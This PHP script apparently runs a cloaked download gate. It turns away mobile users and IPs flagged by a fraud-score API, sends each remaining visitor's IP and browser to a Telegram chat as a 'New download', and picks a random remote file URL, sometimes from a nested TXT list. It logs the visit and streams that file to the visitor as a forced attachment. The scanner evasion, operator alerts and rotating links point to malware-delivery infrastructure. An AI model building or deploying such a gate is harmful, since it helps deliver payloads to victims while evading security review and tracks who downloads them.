<?php
session_start();
require 'settings.php';
require 'Telegram.php';

function getClientIP() {
    if (isset($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP'];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR'];
    if (isset($_SERVER['HTTP_X_FORWARDED'])) return $_SERVER['HTTP_X_FORWARDED'];
    if (isset($_SERVER['HTTP_FORWARDED_FOR'])) return $_SERVER['HTTP_FORWARDED_FOR'];
    if (isset($_SERVER['HTTP_FORWARDED'])) return $_SERVER['HTTP_FORWARDED'];
    if (isset($_SERVER['REMOTE_ADDR'])) return $_SERVER['REMOTE_ADDR'];
    return 'UNKNOWN';
}

function isMobile() {
    return preg_match('/(android|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i', $_SERVER['HTTP_USER_AGENT'] ?? '');
}

function isBot($ip) {
    global $securitySettings;
    $api_key = $securitySettings['ipqs_api_key'] ?? '';
    if (empty($api_key)) return false;
    $url = "https://www.ipqualityscore.com/api/json/ip/{$api_key}/{$ip}";
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 5,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
        CURLOPT_MAXREDIRS => 5,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_ENCODING => '',
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($http_code !== 200 || !$response) return false;
    $data = json_decode($response, true);
    return isset($data["fraud_score"]) && $data["fraud_score"] >= ($securitySettings['fraud_score_threshold'] ?? 70);
}

function curlHeadInfo($url, $referer = '') {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_NOBODY => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_ENCODING => '',
    ]);
    if ($referer) curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
    $effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    $curl_err = curl_error($ch);
    curl_close($ch);
    return [
        'http_code' => $http_code,
        'content_type' => $content_type,
        'effective_url' => $effective_url,
        'curl_error' => $curl_err,
        'success' => ($http_code === 200)
    ];
}

function curlGet($url, $referer = '', $timeout = 20) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_ENCODING => '',
    ]);
    if ($referer) curl_setopt($ch, CURLOPT_REFERER, $referer);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    $curl_err = curl_error($ch);
    curl_close($ch);
    return [
        'data' => $data,
        'http_code' => $http_code,
        'effective_url' => $effective_url,
        'curl_error' => $curl_err
    ];
}

$clientIP = getClientIP();
$browser = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$deviceType = isMobile() ? 'Mobile Device' : 'Non-Windows Desktop';

if (isMobile() || isBot($clientIP)) {
    echo '<script>window.location.href = "' . $fileSettings['error_page'] . '";</script>';
    exit;
}

$token = $telegramSettings['token'];
$chat_id = $telegramSettings['chat_id'];
$website_url = $telegramSettings['website_url'];
$message = "New download:\nIP: $clientIP\nBrowser: $browser\nDevice: $deviceType\nWebsite: $website_url";
sendTelegramMessage($message, $token, $chat_id);

$linksRaw = @file_get_contents($fileSettings['links_file']);
if ($linksRaw === false) {
    http_response_code(500);
    exit('Server error: cannot read Links.txt');
}
$links = explode("\n", $linksRaw);
$links = array_map('trim', array_filter($links));
if (count($links) === 0) {
    http_response_code(500);
    exit('No links configured.');
}

$randIndex = array_rand($links);
$fileUrl = $links[$randIndex];

$head = curlHeadInfo($fileUrl, $website_url);
$shouldParseTxt = false;
if (preg_match('/\.txt(\?.*)?$/i', parse_url($fileUrl, PHP_URL_PATH) ?? '')) {
    $shouldParseTxt = true;
} elseif (!empty($head['content_type']) && stripos($head['content_type'], 'text') !== false) {
    $shouldParseTxt = true;
}

if ($shouldParseTxt) {
    $fetch = curlGet($fileUrl, $website_url, 15);
    if ($fetch['http_code'] !== 200 || $fetch['data'] === false) {
        http_response_code(404);
        exit('Remote file not accessible (cannot fetch TXT list).');
    }
    $innerLines = array_map('trim', explode("\n", $fetch['data']));
    $innerLinks = [];
    foreach ($innerLines as $line) {
        $line = trim($line);
        if ($line === '') continue;
        if (strpos($line, '#') === 0) continue;
        if (filter_var($line, FILTER_VALIDATE_URL) && preg_match('/^https?:\/\//i', $line)) {
            $innerLinks[] = $line;
        }
    }
    if (count($innerLinks) === 0) {
        http_response_code(404);
        exit('Remote file not accessible (no valid links inside TXT).');
    }
    $fileUrl = $innerLinks[array_rand($innerLinks)];
}

$finalHead = curlHeadInfo($fileUrl, $website_url);
if (!$finalHead['success']) {
    http_response_code(404);
    exit('Remote file not accessible. HTTP Code: ' . $finalHead['http_code'] . ' URL: ' . $finalHead['effective_url'] . ' CURLERR: ' . $finalHead['curl_error']);
}

$iplogfile = $logSettings['iplogfile'];
$filelogfile = $logSettings['filelogfile'];
$timestamp = date('m/d/Y h:i:s');
$ipLogData = '[' . $timestamp . ']: ' . $clientIP . ' ' . $browser . "\r\n";
file_put_contents($iplogfile, $ipLogData, FILE_APPEND | LOCK_EX);
$fileLogData = '[' . $timestamp . ']: ' . $fileUrl . "\r\n";
file_put_contents($filelogfile, $fileLogData, FILE_APPEND | LOCK_EX);

// Stream download directly
set_time_limit(0);
$ch = curl_init($fileUrl);
curl_setopt_array($ch, [
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
    CURLOPT_REFERER => $website_url,
    CURLOPT_SSL_VERIFYPEER => true,
    CURLOPT_SSL_VERIFYHOST => 2,
]);
curl_setopt($ch, CURLOPT_HEADER, 0);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fixedFileName) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
$fp = fopen('php://output', 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_exec($ch);
curl_close($ch);
fclose($fp);
exit;
?>
